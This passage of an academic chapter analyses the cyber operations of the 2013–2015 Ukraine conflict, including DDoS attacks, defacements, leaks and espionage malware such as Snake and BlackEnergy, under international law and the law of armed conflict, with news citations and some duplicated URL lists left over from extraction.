Politically motivated hacker groups launched Distributed Denial-of-Service (DDoS) and other cyber attacks against a wide range of targets.
On 28 October, the hacker group Anonymous Ukraine started Opera- tion Independence (OpIndependence), favouring Ukraines independence from any external influence, including the EU, NATO, and Russia.6 Operation Indepen- dence included DDoS attacks and website defacements against both Western and Russian sites.
During Euromaidan DDoS attacks and defacements against both sides continued.
Information leaks were used for propaganda purposes.
Operation Independence leaked emails from opposition leader Vitali Klitchko and his political party, the Ukrainian Democratic Alliance for Reforms.
Unknown hackers leaked the U.S. officials phone call which included the infamous statement, fck the EU.7 3.1.1 Legal Analysis The Euromaidan protests were the violent culmination of a conflict between gov- ernment authorities and pro-Western, civilian groups.
Although the controversy was about Ukraines external relations, it was primarily an internal matter between a state and an opposition within that state.
And while the conflict engendered con- siderable violence  one only has to look at the number of casualties  at that stage, it could not be seen as an armed conflict.
It was not a conflict with armed forces on either side engaged in hostilities [...] similar to an international war.8 The incidents had the character of internal disturbances, civilian uprising, and violent clashes between protesters and police.
3.2 Forming Interim Government and Annexation of Crimea (February  March 2014) On 21 February, President Yanukovych fled to Russia, and an Interim Government was formed, uniting the opposition.
Events unfolded rapidly in Crimea.
Pro-Rus- sian gunmen seized key government buildings.
On 1 March, the upper house of the Russian Parliament approved the deployment of troops in Ukraine to protect the 6 Eduard Kovacs.
Anonymous Ukraine Launches OpIndependence, Attacks European Investment Bank, Softpedia, 31 Oc- tober 2013, http://news.softpedia.com/news/Anonymous-Ukraine-Launches-OpIndependence-Attacks-European-Invest- ment-Bank-395790.shtml.
7 Listen to recording here: https://www.youtube.com/watch?vCL_GShyGv3o.
8 ICRC Commentary to Common Article 3 of the 1949 Geneva Conventions.
126 Russian speaking minority.
Russian military forces (coined little green men) were reportedly present in Crimea and blocked the positions of Ukrainian troops.9 A referendum, initiated by the Crimean Parliament, was held in Crimea on 16 March, which declared that 97 of voters supported joining Russia.
Two days later, Presi- dent Vladimir Putin signed a bill declaring Crimea to be part of the Russian Federa- tion.10 These events were crucial in setting the stage for the ongoing conflict in east- ern Ukraine, and led to a dramatic change in relations between Russia and the West.
In cyberspace, there was a simultaneous rise in malicious activity during the mil- itary operations in Crimea.
Operations were conducted against Ukraines mobile infrastructure, the mobile phones of members of the Ukrainian Parliament, and secu- rity communications.
Some traditional methods were used, including the seizure of Ukrtelecom offices and the physical cutting of telephone and internet cables.11 Digital attacks included DDoS targeting Ukrainian, Crimean, NATO, and Russian websites.
The pro-Russian hacker group CyberBerkut was particularly active against NATO,12 while groups like OpRussia and Russian CyberCommand directed their actions against Russian websites.13 Polish, Ukrainian, and Russian websites were also defaced, includ- ing the site of Russia Today, sometimes with historical references to World War II.14 Information leaks continued.
A sensitive conversation between the Estonian Min- ister of Foreign Affairs Urmas Paet and EU High Representative for Foreign Affairs and Security Policy Catherine Ashton was made public, revealing their discussion of information suggesting that both sides, the opposition and the government, were responsible for sniper killings during the Maidan protests.15 Anti-Russian motivated information leaks included the disclosure of the names of members of Berkut, the anti-riot police,16 as well as documents belonging to a Russian defence contractor.17 During this time, it also became clear that the spyware Snake (also known as Ouruborus or Turla) was used against several targets in Ukraine, including the gov- ernment.
Snake is sophisticated malware, known to be in use for at least eight years, whose origin is uncertain, but believed to be developed in Russia.18 9 Vitaly Shevchenko.
Little green men or Russian invaders?,
BBC News, 11 March 2014, http://www.bbc.com/news/ world-europe-26532154.
10 See for an overview of events: Ukraine crisis: timeline, BBC News, http://www.bbc.com/news/world-middle-east-26248275.
11 John Leyden.
Battle apparently under way in Russia-Ukraine conflict, The Register, 4 March 2014, http://www.theregister.
co.uk/2014/03/04/ukraine_cyber_conflict/.
12 Adrian Croft and Peter Apps.
NATO websites hit in cyber attack linked to Crimea tension, Reuters, 16 March 2014, http:// www.reuters.com/article/2014/03/16/us-ukraine-nato-idUSBREA2E0T320140316.
13 Jeffrey Carr.
Rival hackers fighting proxy war over Crimea, Reuters, 25 March 2014, http://edition.cnn.com/2014/03/25/opin- ion/crimea-cyber-war/.
Contrary to what its name suggests, Russian CyberCommand is a hacker group acting against Russian authorities.
14 Darlene Storm.
Political hackers attack Russia, Nazi defacement, threaten US CENTCOM with cyberattack, Computerworld, 3 March 2014, http://www.computerworld.com/article/2476002/cybercrime-hacking/political-hackers-attack-russia--nazi- defacement--threaten-us-centcom-with-cybera.html.
15 Ewen MacAskill.
Ukraine crisis: bugged call reveals conspiracy theory about Kiev snipers, The Guardian, 5 March 2014, http:// www.theguardian.com/world/2014/mar/05/ukraine-bugged-call-catherine-ashton-urmas-paet.
16 Jeremy Bender.
EXPERT: The Ukraine-Russia Cyberwar Is More Serious And Damaging Than The Annexation Of Crimea, Business Insider, 10 March 2014, http://www.businessinsider.com/ukraine-russia-cyberwar-extremely-serious-2014-3.
17 Bindiya Thomas.
Rosoboronexport Denies Loss of Confidential Data in Cyber Attack, Defense World.net, 25 March 2014, http://www.defenseworld.net/news/10275/Rosoboronexport_Denies_Loss_of_Confidential_Data_in_Cyber_Attack.
VbzA8fmMCXQ.
18 Sam Jones.
Cyber Snake plagues Ukraine networks, Financial Times, 7 March 2014, http://www.ft.com/cms/s/0/615c29ba- a614-11e3-8a2a-00144feab7de.htmlaxzz3gDUpc1wz.
https://en.wikipedia.org/wiki/High_Representative_of_the_Union_for_Foreign_Affairs_and_Security_Policy https://en.wikipedia.org/wiki/High_Representative_of_the_Union_for_Foreign_Affairs_and_Security_Policy http://www.bbc.com/news/world-europe-26532154 http://www.bbc.com/news/world-europe-26532154 http://www.bbc.com/news/world-middle-east-26248275 http://www.theregister.co.uk/2014/03/04/ukraine_cyber_conflict/ http://www.theregister.co.uk/2014/03/04/ukraine_cyber_conflict/ http://www.reuters.com/article/2014/03/16/us-ukraine-nato-idUSBREA2E0T320140316 http://www.reuters.com/article/2014/03/16/us-ukraine-nato-idUSBREA2E0T320140316 http://edition.cnn.com/2014/03/25/opinion/crimea-cyber-war/ http://edition.cnn.com/2014/03/25/opinion/crimea-cyber-war/ http://www.computerworld.com/article/2476002/cybercrime-hacking/political-hackers-attack-russia--nazi-defacement--threaten-us-centcom-with-cybera.html http://www.computerworld.com/article/2476002/cybercrime-hacking/political-hackers-attack-russia--nazi-defacement--threaten-us-centcom-with-cybera.html http://www.theguardian.com/world/2014/mar/05/ukraine-bugged-call-catherine-ashton-urmas-paet http://www.theguardian.com/world/2014/mar/05/ukraine-bugged-call-catherine-ashton-urmas-paet http://www.businessinsider.com/ukraine-russia-cyberwar-extremely-serious-2014-3 http://www.defenseworld.net/news/10275/Rosoboronexport_Denies_Loss_of_Confidential_Data_in_Cyber_Attack.
VbzA8fmMCXQ http://www.defenseworld.net/news/10275/Rosoboronexport_Denies_Loss_of_Confidential_Data_in_Cyber_Attack.
VbzA8fmMCXQ http://www.ft.com/cms/s/0/615c29ba-a614-11e3-8a2a-00144feab7de.htmlaxzz3gDUpc1wz http://www.ft.com/cms/s/0/615c29ba-a614-11e3-8a2a-00144feab7de.htmlaxzz3gDUpc1wz 127 3.2.1 Legal Analysis Although the UN and EU expressed their grave concerns about Russias annexation of Crimea, and NATO called it a violation of international law,19 Russia defended its actions as the lawful protection of the Russian speaking minority in Crimea.
States have the right to act when necessary to rescue their nationals abroad.
However, in this case, there were no indications that native Russians were in danger.
Even if that were the case, it could only have justified their evacuation, not the occupation of the entire peninsula.20 A second possible justification for Russian intervention was an invitation by the Ukrainian authorities, i.e.
President Yanukovych.
But, after Yanu- kovych was replaced by the Interim Government, his actions could not be attributed to Ukraine anymore.21 A third possible justification is the right to self-determina- tion for the people of Crimea.
However, while this right exists for peoples within the existing borders of a state, it does not allow for a complete political separation.22 Russias annexation of Crimea was a breach of international law by violating the territorial integrity of Ukraine.
Russia also breached the 1994 Budapest Memorandum and the 1997 Treaty on Friendship, Cooperation, and Partnership.23 The Black Sea Fleet Status of Forces Agreement allowed for a Russian mili- tary presence in Crimea, but not at the scale as was the case in March 2014.
But was this armed intervention also a use of force, a violation of Article 2(4) of the UN Charter?24 Moving armed forces to the territory of another state, without the consent of that state, should definitely be considered a use of force.25 That is exactly what happened: troops belonging to the Russian Black Sea Fleet in Crimea left their bases, and there were clear indications that other Russian 19 [A] spokesman for UN Secretary-General Ban Ki-moon delivered a statement saying that he was gravely concerned about the deterioration of the situation in Ukraine and planned to speak shortly with Putin.
It also called for full respect for and preservation of the independence, sovereignty and territorial integrity of Ukraine and demanded immediate restoration of calm and direct dialogue between all concerned.
Representative of the Union for Foreign Affairs and Security Policy Cathe- rine Ashton stated that the EU deplores what it called Russias decision to use military action in Ukraine, describing it as an unwarranted escalation of tensions.
She called on all sides to decrease the tensions immediately through dialogue, in full respect of Ukrainian and international law.
She added that: The unity, sovereignty and territorial integrity of Ukraine must be respected at all times and by all sides.
Any violation of these principles is unacceptable.
North Atlantic Council condemned what it called Russias military escalation in Crimea and called it a breach of international law.
International reactions to the annexation of Crimea by the Russian Federation, Wikipedia, accessed 1 August 2015, https://en.wikipedia.org/wiki/Interna- tional_reactions_to_the_annexation_of_Crimea_by_the_Russian_Federation.
20 See also: Marc Weller, in BBC News, Analysis: Why Russias Crimea move fails legal test, BBC News, 7 March 2014, http://www.
bbc.com/news/world-europe-26481423.
21 See also: Christian Marxsen, The Crimea Crisis  An International Law Perspective, Zeitschrift fr auslndisches ffentliches Recht und Vlkerrecht (Heidelberg Journal of International Law) 74/2 (2014): 367-391 Remy Jorritsma.
Ukraine Insta-Sympo- sium: Certain (Para-)Military Activities in the Crimea: Legal Consequences for the Application of International Humanitarian Law, Opinio Juris, 9 March 2014, http://opiniojuris.org/2014/03/09/ukraine-insta-symposium-certain-para-military-activi- ties-crimea-legal-consequences-application-international-humanitarian-law/ Ashley Deeks.
Heres What International Law Says About Russias Intervention in Ukraine, New Republic, 2 March 2014, http://www.newrepublic.com/article/116819/inter- national-law-russias-ukraine-intervention.
22 Marxsen.
Crimea Crisis, 14 Jorritsma.
Legal Consequences.
23 The 1994 Budapest memorandum was intended to provide Ukraine security in exchange of accession to the Treaty on the Non-Proliferation of Nuclear Weapons.
Russia, the United States, and the United Kingdom committed to respect the independ- ence and sovereignty and the existing borders of Ukraine.
The 1997 Treaty on Friendship, Cooperation, and Partnership between Russia and Ukraine was to guarantee the inviolability of the borders between both states.
See also: Marxsen, Crimea Crisis, 4-5.
24 Charter of the United Nations, San Francisco, 26 June 1945, Article 2(4).
25 See also: Deeks.
What International Law Says.
Russias annexation of Crimea was a breach of international law.
https://en.wikipedia.org/wiki/UN_Secretary-General https://en.wikipedia.org/wiki/Ban_Ki-moon https://en.wikipedia.org/wiki/High_Representative_of_the_Union_for_Foreign_Affairs_and_Security_Policy https://en.wikipedia.org/wiki/Catherine_Ashton https://en.wikipedia.org/wiki/Catherine_Ashton https://en.wikipedia.org/wiki/International_law https://en.wikipedia.org/wiki/International_reactions_to_the_annexation_of_Crimea_by_the_Russian_Federation https://en.wikipedia.org/wiki/International_reactions_to_the_annexation_of_Crimea_by_the_Russian_Federation http://www.newrepublic.com/article/116819/international-law-russias-ukraine-intervention http://www.newrepublic.com/article/116819/international-law-russias-ukraine-intervention 128 troops were sent to Crimea to secure strategic sites, block Ukrainian troops, and essentially force them to leave the peninsula.
States can take measures in response to violations of international law.
In this case the European Union and the United States imposed sanctions on Russia.
Could Russias actions be seen as an armed attack, in which case Ukraine would have had the right to use force in self-defence?26 Like use of force, armed attack is not defined in the UN Charter in essence, a state determines on a case-by-case basis whether it considers an attack against it as an armed attack.
A violent attack with military forces resulting in damage and casualties would certainly be seen as an armed attack.
In the case of Crimea, however, hardly a shot was fired.
On the other hand, it is difficult to argue that Ukraine would not have the right to use force to drive Russian troops out of Crimea.27 Irrespective this analysis of the legal basis of the intervention in Crimea, what would be the legal regime for the operations conducted by the parties to the con- flict, including the cyber operations?
Did the situation qualify as an international armed conflict where the Law of Armed Conflict applies?
The criterion here is that it relates to hostilities between nation-states.
In Crimea, however, the situation was unclear.
Firstly, there was no fighting, although the threshold for armed is low.28 Secondly, Russia denied the troops present were theirs and referred to them as local self-defence groups.
However, reports indicated the active involvement of Russian troops29 and, eventually, Putin admitted that Russian troops were present.30 Even in the event that only local forces were active, a situation of international armed conflict could still prevail if they were acting under Russias control.
The Law of Armed Conflict also applies in a situation of a total or partial occupation, even if the occupation did not meet armed resistance.31 Occupation is a hostile substitution of territorial power and authority.32 This is precisely the case in Crimea, where Russia exercises territorial control without the consent of the Ukrainian Government.
26 Charter of the United Nations, Article 51.
27 Deeks.
What International Law Says.
28 Any difference arising between two States and leading to the intervention of members of the armed forces is an armed conflict within the meaning of Article 2, even if one of the Parties denies the existence of a state of war.
It makes no difference how long the conflict lasts, or how much slaughter takes place.
The respect due to the human person as such is not measured by the number of victims, ICRC Commentary to the Geneva Conventions of 1949, 20-21.
29 For example: Ukrainian and Russian troops in standoff at Crimean military base  As it happened, The Guardian, 3 March 2014, http://www.theguardian.com/world/2014/mar/02/ukraine-warns-russia-crimea-war-live and Russian troops storm Ukrainian bases in Crimea, BBC News, 22 March 2014, http://www.bbc.com/news/world-europe-26698754 30 Putin Admits Russian Troop Role in Crimea Annexation, Voice of America, 17 November 2014, http://www.voanews.com/ content/putin-admits-russian-troop-role-in-crimea-annexation/2523186.html Putin admits Russian forces were deployed to Crimea, Reuters, 17 April 2014, http://uk.reuters.com/article/2014/04/17/russia-putin-crimea-idUKL6N0N921H20140417.
31 Geneva Conventions, 12 August 1949, Common Article 2.
32 Hague Regulations: Regulations concerning the Laws and Customs of War on Land, 18 October 1907, Article 42.
See also: Jorritsma, Legal Consequences.
The Law of Armed Conflict applies in a situation of total or partial occupation.
http://www.theguardian.com/world/2014/mar/02/ukraine-warns-russia-crimea-war-live 129 3.3 Hostilities in Eastern Ukraine (April 2014  Present) Following the annexation of Crimea, the worlds attention was quickly drawn to the onset of hostilities in eastern Ukraine.
Protesters from the Russian speaking minority in the cities of Donetsk, Luhansk, and Kharkiv occupied government buildings and called for independence.33 Pro-Russian separatist groups emerged.
The Ukrainian authorities responded by starting an anti-terrorist operation.
On 17 April, the first violent deaths occurred in eastern Ukraine in the Black Sea city of Odessa, 42 people died in clashes.
On 11 May, Donetsk and Luhansk declared themselves to be independent republics.
Petro Poroshenko was elected President of Ukraine on 25 May, but this poll could not be held in large parts of the conflict-ridden east.
A cease-fire agreement,34 signed in Minsk on 5 September 2014, collapsed when fighting started again in January 2015.
A second agreement signed in the capital of Belarus on 11 February, Minsk II, provided for a ceasefire, the withdrawal of heavy weapons from the front line, a release of prisoners of war, and constitutional reform in Ukraine.35 This sec- ond agreement has also been violated, although currently, in September 2015, the situation seems to have calmed down.
NATO reported the active involvement of Russian troops in eastern Ukraine,36 but Russia has consistently denied involvement.
Cyber operations have continued throughout the conflict.
In May 2014, cyber means were used in an attempt to disrupt the presidential elections, including an effort to falsify the outcome.
CyberBerkut may have taken part and some analysts believe that Russia was behind it.37 In August 2014, hackers conducted a DDoS attack against Ukraines election commission website, just prior to the parliamentary polls.38 There are numerous publicly-known examples of intelligence gathering through cyber means, all of which reportedly have a Russian connection.
In the Summer of 2014, the Blackenergy spyware was used against Ukrainian government institu- tions.39 In August, the Snake malware was employed against the Ukrainian Prime Ministers Office, as well as a number of foreign embassies.40 In April 2015, Looking- lass reported on a Russian campaign to extract classified documents from Ukrainian military and law enforcement agencies in an effort to support pro-Russian military 33 Ukraine crisis: Timeline, BBC News, accessed 1 August 2015, http://www.bbc.com/news/world-middle-east-26248275.
34 Protocol on the results of consultations of the Trilateral Contact Group, Minsk, 5 September 2014, http://mfa.gov.ua/en/news- feeds/foreign-offices-news/27596-protocolon-the-results-of-consultations-of-the-trilateral-contact-group-minsk-05092014.
35 Ukraine ceasefire: New Minsk agreement key points, BBC News, 12 February 2015, http://www.bbc.com/news/world-eu- rope-31436513.
36 See for example: NATO Commander: Conditions in Eastern Ukraine Have to Change, OPB, 6 February 2015, http://www.
opb.org/news/article/npr-nato-commander-conditions-in-eastern-ukraine-have-to-change/, and Nato urges Russia to stop fuelling Ukraine conflict, The Irish Times, 15 April 2015, http://www.irishtimes.com/news/world/europe/nato-urges-russia- to-stop-fuelling-ukraine-conflict-1.2176718.
37 Mark Clayton.
Ukraine election narrowly avoided wanton destruction from hackers (video), The Christian Science Monitor, 17 June 2014, http://www.csmonitor.com/World/Passcode/2014/0617/Ukraine-election-narrowly-avoided-wanton-destruc- tion-from-hackers-video.
38 Hackers attack Ukraine election website, Presstv, 25 October 2014, http://www.presstv.ir/detail/2014/10/25/383623/ukrai- nes-election-website-hacked/.
See also: Vitaly Shevchenko, Ukraine conflict: Hackers take sides in virtual war, BBC News, 20 December 2014, http://www.bbc.com/news/world-europe-30453069.
39 David Gilbert.
BlackEnergy Cyber Attacks Against Ukrainian Government Linked to Russia, International Business Times, 26 September 2014, http://www.ibtimes.co.uk/blackenergy-cyber-attacks-against-ukrainian-governm)ent-linked-russia-1467401.
40 Sam Jones.
Russia-linked cyber attack on Ukraine PMs office, CNBC, 8 August 2014, http://www.cnbc.com/id/101905588.
http://www.bbc.com/news/world-middle-east-26248275 http://mfa.gov.ua/en/news-feeds/foreign-offices-news/27596-protocolon-the-results-of-consultations-of-the-trilateral-contact-group-minsk-05092014 http://mfa.gov.ua/en/news-feeds/foreign-offices-news/27596-protocolon-the-results-of-consultations-of-the-trilateral-contact-group-minsk-05092014 http://www.bbc.com/news/world-europe-31436513 http://www.bbc.com/news/world-europe-31436513 http://www.csmonitor.com/World/Passcode/2014/0617/Ukraine-election-narrowly-avoided-wanton-destruction-from-hackers-video http://www.csmonitor.com/World/Passcode/2014/0617/Ukraine-election-narrowly-avoided-wanton-destruction-from-hackers-video http://www.presstv.ir/detail/2014/10/25/383623/ukraines-election-website-hacked/ http://www.presstv.ir/detail/2014/10/25/383623/ukraines-election-website-hacked/ http://www.ibtimes.co.uk/blackenergy-cyber-attacks-against-ukrainian-governm)ent-linked-russia-1467401 http://www.cnbc.com/id/101905588 130 operations in Ukraine.41 ISight Partners reported that Russian Sandworm hackers used a zero-day vulnerability to hack NATO and Ukraine in a cyber espionage campaign.42 The list of targets was not confined to Ukrainian sites.
In January 2015, CyberBerkut claimed responsibility for a cyber attack on German Government sites, demanding that Germany end its support to the Ukrainian government.43 On the pro-Ukraine side, the Ukrainian Cyber Troops reportedly claimed to have hacked into Russian interior ministry servers and CCTV cameras in separatist-con- trolled eastern Ukraine.44 3.3.1 Legal Analysis The International Committee of the Red Cross (ICRC) has characterised the situa- tion in eastern Ukraine as a non-international armed conflict,45 a situation in which hostilities occur between governmental armed forces and non-governmental organ- ised armed groups, or between such organised armed groups.
The two requirements are a certain degree of organisation of the non-governmental groups and the exis- tence of protracted armed violence.46 The conflict in Eastern Ukraine does in fact reach a high level of violence over a longer period of time, and the separatists do in fact have a high degree of organisation.
Although Russia has consistently denied involvement, there continues to be widespread belief to the contrary, suggesting that Moscow actively supports the Donetsk and Luhansk separatists, including by sending Russian military forces as volunteers to the area.
If Russia actively participates or exercises overall control over the separatists, the conflict could be considered an international armed con- flict.
To meet the criterion of overall control, a state must not only finance, train, equip, or provide operational support to local forces, but also have a role in organ- ising, coordinating, and planning their operations.47 However, for the purpose of this chapter, the conflict in eastern Ukraine is con- sidered to be a non-international armed conflict.
This analysis results in a situation where different legal regimes apply simultane- 41 Aarti Shahani.
Report: To Aid Combat, Russia Wages Cyberwar Against Ukraine, NPR, 28 April 2015, http://www.npr.org/ sections/alltechconsidered/2015/04/28/402678116/report-to-aid-combat-russia-wages-cyberwar-against-ukraine.
42 Ellen Nakashima.
Russian hackers use zero-day to hack NATO, Ukraine in cyber-spy campaign, The Washington Post, 13 October 2014, http://www.washingtonpost.com/world/national-security/russian-hackers-use-zero-day-to-hack-nato-ukrai- ne-in-cyber-spy-campaign/2014/10/13/f2452976-52f9-11e4-892e-602188e70e9c_story.html.
43 Michelle Martin and Erik Kirschbaum.
Pro-Russian group claims cyber attack on German government websites, Reuters, 7 January 2015, http://www.reuters.com/article/2015/01/07/us-germany-cyberattack-idUSKBN0KG15320150107.
44 The Daily Beast: Ukraines lonely cyber warrior, KyivPost, 18 February 2015, http://www.kyivpost.com/content/ukraine-ab- road/the-daily-beast-ukraines-lonely-cyber-warrior-381094.html, and Vitaly Shevchenko, Ukraine conflict: Hackers take si- des in virtual war, BBC News, 20 December 2014, http://www.bbc.com/news/world-europe-30453069.
45 Fighting in eastern Ukraine continues to take its toll on civilians, and we urge all sides to comply with international human- itarian law, otherwise known as the law of armed conflict, said Mr Stillhart.
These rules and principles apply to all parties to the non-international armed conflict in Ukraine, and impose restrictions on the means and methods of warfare that they may use [in Ukraine]: ICRC calls on all sides to respect international humanitarian law, ICRC News Release 14/125, 23 July 2014.
Non-international armed conflicts are armed conflicts not of an international character occurring in the territory of one of the High Contracting Parties, Geneva Conventions, Common Article 3.
46 The criterion protracted armed violence stems from Tadi, Decision on the Defence Motion for Interlocutory Appeal, para 70, International Criminal Tribunal for the Former Yugoslavia, 2 October 1995.
47 Overall control is addressed in: Tadi, Appeals Chamber judgment, International Criminal Tribunal for the Former Yugosla- via, 15 July 1999, para 132, 137, 141, and 145.
See also: Tallinn Manual, 79-82.
http://www.npr.org/sections/alltechconsidered/2015/04/28/402678116/report-to-aid-combat-russia-wages-cyberwar-against-ukraine http://www.npr.org/sections/alltechconsidered/2015/04/28/402678116/report-to-aid-combat-russia-wages-cyberwar-against-ukraine http://www.washingtonpost.com/world/national-security/russian-hackers-use-zero-day-to-hack-nato-ukraine-in-cyber-spy-campaign/2014/10/13/f2452976-52f9-11e4-892e-602188e70e9c_story.html http://www.washingtonpost.com/world/national-security/russian-hackers-use-zero-day-to-hack-nato-ukraine-in-cyber-spy-campaign/2014/10/13/f2452976-52f9-11e4-892e-602188e70e9c_story.html http://www.reuters.com/article/2015/01/07/us-germany-cyberattack-idUSKBN0KG15320150107 131 ously.
The Law of Armed Conflict pursuant to international armed conflicts applies to the occupation of Crimea.
Eastern Ukraine is a national issue in which the law pursuant to non-international armed conflicts applies.
There is a crucial difference.
During an international armed conflict, the Law of Armed Conflict applies to the full extent during a non-international armed conflict, minimum rules apply.48 An example is that in an international armed conflict, combatants captured by the enemy are entitled to Prisoner of War (PoW) status.
In a non-international armed conflict, the combatants status is unknown belligerents have to be treated well, but the extensive rules that protect PoWs do not apply.
However, many rules of inter- national armed conflict are customary law and apply also in a non-international armed conflict, as we will see with respect to cyber operations.
4 Legal Implications for Cyber Operations in Ukraine The conflict started as an internal matter, the protests at Maidan Square, to an unlawful intervention and occupation of Crimea, culminating in the non-interna- tional armed conflict in eastern Ukraine.
During the first phase, the Euromaidan protests, the cyber incidents were a law enforcement issue.
For example, the defacement of websites and DDoS attacks restricting the use of internet services violated Ukrainian criminal law and could have been prosecuted in Ukrainian courts.49 Malicious cross-border cyber activ- ities, involving both Ukraine and other countries, would fall under the criminal jurisdiction of Ukraine and the affected countries.
During the occupation of Crimea and the armed conflict in eastern Ukraine, the Law of Armed Conflict applies.
It regu- lates the conduct of all actors in the con- flict, including the cyber actors.
Hereafter, first the status of the different cyber actors will be discussed after that the cyber operations we have seen in the Ukraine conflict will be evaluated from the perspective of the Law of Armed Conflict.
4.1 Actors in Cyberspace In an international armed conflict, belligerents that qualify as combatants enjoy combat- ant immunity, meaning they cannot be prosecuted for taking part in hostilities (except 48 These minimum rules are formulated in Common Article 3 of the Geneva Conventions, and in Additional Protocol II to the Geneva Conventions.
The rules laid down in that protocol apply to a conflict within a state that is party to the Protocol between the armed forces of that state and dissident armed forces or organised armed groups that control sufficient territory so as to enable them to carry out sustained and concerted military operations, Protocol Additional to the Geneva Conventions of 12 August 1949, and relating to the Protection of Victims of Non-International Armed Conflicts (Protocol II), 8 June 1977, Article 1(1).
Ukraine is party to Additional Protocol II, and the separatists do control significant territory.
49 Ukraine is Party to the Convention on Cybercrime (Budapest, 2001).
The Convention aims to harmonise cybercrime legisla- tion and facilitate information exchange and international cooperation in the area of prosecution of cybercrimes.
States that are party to the convention are obliged to incorporate certain violations in their national laws: illegal access, illegal intercep- tion, data interference, system interference, and misuse of devices.
During the Euromaidan protests, cyber incidents were a law enforcement issue.
132 for war crimes) and, on capture, have PoW status.
These rules also apply during occu- pation, as in Crimea.
Most cyber actors in Crimea were nominally non-state actors, for example the pro-Russian hacker group CyberBerkut.
If such a group were an integrated part of Russias military forces, they would be combatants.
If not, they could nevertheless be considered combatants if they were part of an organised armed group, belonging to a party to the conflict, when they fulfil the following conditions: (a) being commanded by a person responsible for his subordinates (b) having a fixed distinctive sign recognisable at a distance (c) carrying arms openly and (d) conducting their operations in accor- dance with the laws and customs of war.50 These criteria are important to distinguish combatants from civilians.
It is unlikely that non-state hacker groups, also those active in the Ukraine crisis, meet all these criteria, especially when they are only virtually organised, only in contact through the internet.
Hackers or hacker groups who are non-combatants are to be regarded civilians.
However, if they are directly participating in hostilities, they lose their protection as civilians and can be targeted by the opposing party.
Three criteria have to be met to be regarded civilians directly participating in hostilities.
51 First, there has to be a certain amount of harm the act must be likely to adversely affect the military operations or military capacity of [the adversary] or [] to inflict death, injury or destruction on persons or objects protected against direct attack.52 Second, there has to be a causal connexion between the acts and the harm inflicted.
Third, there has to be a bellig- erent nexus, meaning that the operations must be intended to affect the adversarys military operations.
Harm can also be inflicted by cyber operations, and does not nec- essarily have to include physical damage.
In the case of CyberBerkut and other active hacker groups the effects probably did not reach the threshold of harm.
In non-international armed conflicts, like in eastern Ukraine, combatant immunity does not exist.
Whether or not belligerents  especially non-state armed groups  have immunity, will be determined based on domestic law.
Certain cyber operations will be illegal based on domestic law.
Civilians have protected status, but as in international armed conflicts, when they are directly participating in hostilities they lose that protected status.
4.2 Information Operations During the conflict in Ukraine, cyber was mainly used for information warfare and intelligence gathering  not to damage cyber or critical infrastructure.
Irrespective their effects, cyber operations are very often called cyber attack.
It is important to note that, in the context of international and non-international armed conflicts, attack has a very specific meaning.
Attacks means acts of violence against the adversary, whether in offence or in defence.53 Whether or not an operation qualifies as attack is crucial 50 Geneva Convention (III), 12 August 1949, Article 4, para A(2).
51 ICRC Interpretive guidance on the notion of Direct Participation in hostilities under international humanitarian law, May 2009.
52 ICRC Interpretive guidance, 47.
53 Protocol Additional to the Geneva Conventions of 12 August 1949, and relating to the Protection of Victims of International Armed Conflicts (Protocol I), 8 June 1977, Article 49(1).
133 because the law imposes prohibitions and restrictions with respect to attacks, for example the prohibition to attack civilians, civilian objects, and medical installations, and the requirement to take precautions before conducting an attack.
Not every cyber operation that affects the adversary is an attack.
A cyber operation that constitutes an act of violence however, is an attack.
The Tallinn Manual defines a cyber attack as a cyber operation, whether offensive or defensive, that is reasonably expected to cause injury or death to persons or damage or destruction to objects.54 This interpretation of the current law restricts cyber attacks to acts that have physical consequences.
If the parties to the conflict in Ukraine would have used cyber to inflict physical damage, injuries, or death, or to support kinetic operations, those cyber operations would be (cyber) attacks and subject to the relevant prohibitions and restrictions.
Most of the cyber activities in Ukraine however are information operations and do not meet the attack threshold.
Information operations, as such, are not directly addressed in the Law of Armed Conflict.
Whether they would be in violation of the law basically depends on the content of the message.
One example would be disseminating a threat- ening message with the purpose to spread terror among the civilian population.55 The disruption of elections, that took place in Ukraine, definitely violated domestic law, and when conducted or supported by another state, could also have been a breach of interna- tional law, but was not a violation of the Law of Armed Conflict.
4.3 Cyber Espionage During the conflict in Ukraine, cyber means have been used to gather intelligence including Snake, Blackenergy, and Sandworm.
Intelligence gathering and espionage are not forbidden by international law.
Espionage, in the context of the Law of Armed Conflict, has a narrow scope: it refers to operations that are conducted clandestinely or under false pretences, taking place on territory controlled by the adversary behind enemy lines.56 For instance, a close access cyber operation where an agent is gaining access to servers being used by the adversary by feigning a false identity and extracting information by using a thumb drive, could be espionage.
An agent captured before reaching his own troops has no PoW status and can be tried as a spy.
Gathering intel- ligence from a distance is not espionage in the meaning of the Law of Armed Conflict.
Snake, Blackenergy, and Sandworm reportedly have a Russian connection.
If Russia  or another state  would be actively supporting the separatists in eastern Ukraine by providing intelligence, that would not necessarily internationalise the conflict.
Mere operational support does not meet the overall control threshold.57 54 Tallinn Manual, 106.
55 Protocol I, Article 51(2), and Protocol II, Article 13(2).
56 Tallinn Manual, 192-193.
57 Tallinn Manual, 81.
Information operations, as such, are not directly addressed in the Law of Armed Conflict.
5 Conclusions International law applies to cyberspace.
During armed conflict, the Law of Armed Conflict applies to any cyber operation conducted in association with the hostilities.
Until now, we have not seen a case where cyber hostilities between parties by them- selves constituted an armed conflict.
Rather, they have remained as one part of a larger, traditional conflict.
This dynamic has not changed during the conflict in Ukraine.
This chapter describes the international legal framework for the conflict in Ukraine and the cyber operations that have been conducted in association with that conflict.
The legal situation is somewhat unclear due to diverging views on various aspects of the crisis, such as the annexation of Crimea and the alleged involvement of Russian military forces in eastern Ukraine.
Another aspect that complicates a legal evaluation is that cyber operations are often conducted by non-state actors, whose status and affiliation are not always clear.
The protests at Maidan Square turned violent, but they were not an armed con- flict they were an internal law enforcement matter.
The annexation of Crimea led to the peninsulas occupation by Russia, but Russia disputes that interpretation.
During an occupation, the Law of Armed Conflict applies.
Eastern Ukraine can today be considered a non-international armed conflict, where cyber operations must be conducted in accordance with the minimum safeguards the Law of Armed Conflict provides for such situations.
In the Ukraine conflict, the publicly known cyber operations have not gen- erally been considered to be sophisti- cated  likely not corresponding to the real national capabilities of Russia and Ukraine.
The prevailing assumption is that, with the exception of some advanced cyber espionage malware such as Snake, the known cyber attacks could have been con- ducted by non-state actors.
These hackers or hacker groups, trying to affect the adver- sarys military activities, are participating in hostilities and have to conduct their opera- tions in accordance with the Law of Armed Conflict.
At the end of the day, cyber operations in the Ukraine conflict have been used either to gather intelligence or as part of an ongoing information war between the parties.
They were not launched to inflict damage to infrastructure and other military capabilities.
